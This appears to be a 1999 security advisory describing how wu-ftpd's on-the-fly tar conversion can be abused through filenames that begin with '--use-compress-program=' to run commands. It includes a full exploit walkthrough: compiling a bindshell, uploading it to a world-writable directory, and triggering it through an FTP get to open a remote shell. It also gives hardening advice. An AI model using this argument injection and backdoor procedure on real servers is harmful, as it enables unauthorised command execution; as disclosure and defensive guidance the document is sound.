suid@suid.edu - the dangers of ftp conversions on misconfigured systems/ftpd (specifically wu-ftpd) Summary: There exists a vulnerability with certain configurations of certain ftp daemons with which users with a valid ftp only acccount on a system may execute arbitrary commands (including binaries supplied by themselves). There also exists the possibilty that anonymous ftp users may execute arbitrary commands (also including binaries supplied by themselves). While this vulnerability is entirely configuration dependent. The required configuration is rather common. The requirements can be found in the example exploit section. Usually such misconfigurations are made only by the security-handicapped, and the documentation-illiterate. There is volumous amounts of documentation around which warn against this kind of configuration however it does not touch on this exact problem. Nor does it stop them from making the same mistakes time after time. Background: FTP Conversion is the name given to the process whereby a user can convert/archive/compress data on the fly when retrieving files from a FTP server. This is done when the FTP user requests a filename and appends .tar/.tar.gz/.Z/.gz to the filename. The FTP then opens a pipe through the requested binary (/bin/tar for example) and sends the file through this pipe to the user. Vulnerability: If a user with intent crafts a filename beginning with a '-' sign it is possible to pass arbitrary flags to the command invoked by FTPD. If the user also includes spaces in this filename, they may pass further arguments. Modern tar implementations include some fairly interesting arguments. For the purposes of lftpdthis advisory I will only detail one. From the tar(1) man page: --use-compress-program PROG filter the archive through PROG (which must accept -d) So it can be seen quite obviously that the flag: --use-compress-program=id will invoke the id command as a compression program for tar to filter through, obviously failing in the process, but trying nonetheless. Using this mechanism it is possible to invoke any command in the path. It is also, as mentioned previously, possible to pass those commands further arguments. Impact: The impacts of this bug are that any command within the path may be executed by users who may not have the ability to execute commands otherwise. If those commands can be coaxed into running other commands, a user may manage an interactive shell. Impacts may be restricted by the default behaviour of wu-ftpd to chroot() the anonymous ftp user. However it is still possible for users to upload their own binaries and use your comprimised FTP server for something like: - launching attacks on your internal network which they may not have had the ability to do previously due to ACL's etc - launching denial of service attacks on other sites from your FTP server - taking part in distributed attacks, or distributed denial service attacks, using your comprimised FTP server Tested On: It must be stated here that this vulnerability is quite cross platform in that it is possible for FTP site administrators running wu-ftpd on any operating system to have configured FTPD in this manner. However it is generally more prevalant on Linux installations. I have verified this vulnerability against the following configuration: RedHat (5.2, 6.0, 6.1) anonftp package version 2.8.1 wu-ftpd (2.4.2, 2.5.0, 2.6.0) Exploit Information: This vulnerability is simple to exploit. However to exploit it you must be able to upload/download files. (e.g. a mode 0777 incoming directory). Pretty common right? I am only going to document 1 method of exploiting this. There are many, I leave it as an excercise to the reader to take things further. For the purposes of this exploit you also need a shell in the remote path. For example, a RedHat machine with the anonftp package installed has exactly what you need. Firstly, assuming you are running the same platform as your target, statically compile some sort of backdoor program, The easiest thing I can think of to use is bindshell.c. $ gcc bindshell.c -o b -static Secondly, tar this up. You will need to tar it up because the remote side will rarely have the ability to change permissions at this stage. (SITE CHMOD rarely works on anonymous ftp sites) $ tar -cf b.tar b Create a script of things you want to do on the remote site, this will be interpreted by bash or sh. $ cat > blah # /bin/tar -xf b.tar ./b ^D Leave the first line as a comment. Create a empty file called "--use-compress-program=sh blah" $ > "--use-compress-program=sh blah" Connect to your target ftp server. $ ftp localhost Connected to localhost. 220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21 10:10:10 EDT 2000) ready. Name (localhost:suid): ftp 331 Guest login ok, send your complete e-mail address as password. Password: 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> Change to your world writable directory: ftp> cd /incoming Store your files: ftp> put blah ftp> put b.tar ftp> put "--use-compress-program=sh blah" Now using TAR conversion, get your "--use-compress-program=sh blah" file. ftp> get "--use-compress-program=sh blah".tar It should open a connection then freeze. Now telnet to your bindshell port. Recommendations: WU-FTPD have taken the stance that because this vulnerability is more a configuration issue than anything else, they do not plan on releasing a patch. This is correct. You would be wise to evaluate the need for anonymous ftp on your server and remove the ability if possible. If you require anonymous ftp access, ensure there are no world writable directories, also ensure that the smallest amount of commands you can get away with exist in the ~ftp/bin directory. Disable ftp conversions in /etc/ftpacess Consult your documentation and follow the advice contained within. It is worth it. CERT and Auscert have released numerous papers, and advisories on these types of misconfigurations in the past read them! See my website for some more information: http://www.suid.edu/ Greetings: cr@rotten.com yowie@virus.beergrave.net duke@viper.net.au ncb@attrition.org 18th December, 1999